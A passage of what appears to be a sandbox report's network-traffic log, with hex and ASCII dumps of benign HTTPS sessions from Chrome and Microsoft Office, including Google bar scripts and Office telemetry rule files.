2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-26 21:52:28 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700296,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-26 21:52:28 UTC	1067	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-26 21:52:28 UTC	453	IN	Data Raw: 31 62 65 0d 0a 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 Data Ascii: 1bey(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptU
2024-11-26 21:52:28 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c Data Ascii: 8000\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnul
2024-11-26 21:52:28 UTC	1390	IN	Data Raw: 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c Data Ascii: ull));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215227Z-174f7845968cpnpfhC1EWR3afc0000000vhg00000000q504 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49737	172.217.21.36	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 21:52:28 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 21:52:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 21:52:28 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-26 21:52:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215228Z-174f7845968kvnqxhC1EWRmf3g0000000esg00000000mad2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215228Z-174f78459688l8rvhC1EWRtzr000000008fg00000000uaw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:28 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:28 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215228Z-174f7845968px8v7hC1EWR08ng0000000w6g00000000mn4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:28 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:28 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215228Z-174f7845968vqt9xhC1EWRgten0000000w30000000008zee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215230Z-174f7845968kdththC1EWRzvxn00000008b000000000ersa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215230Z-174f7845968xlwnmhC1EWR0sv80000000vwg0000000083q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215230Z-174f7845968jrjrxhC1EWRmmrs0000000w3g00000000hsc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 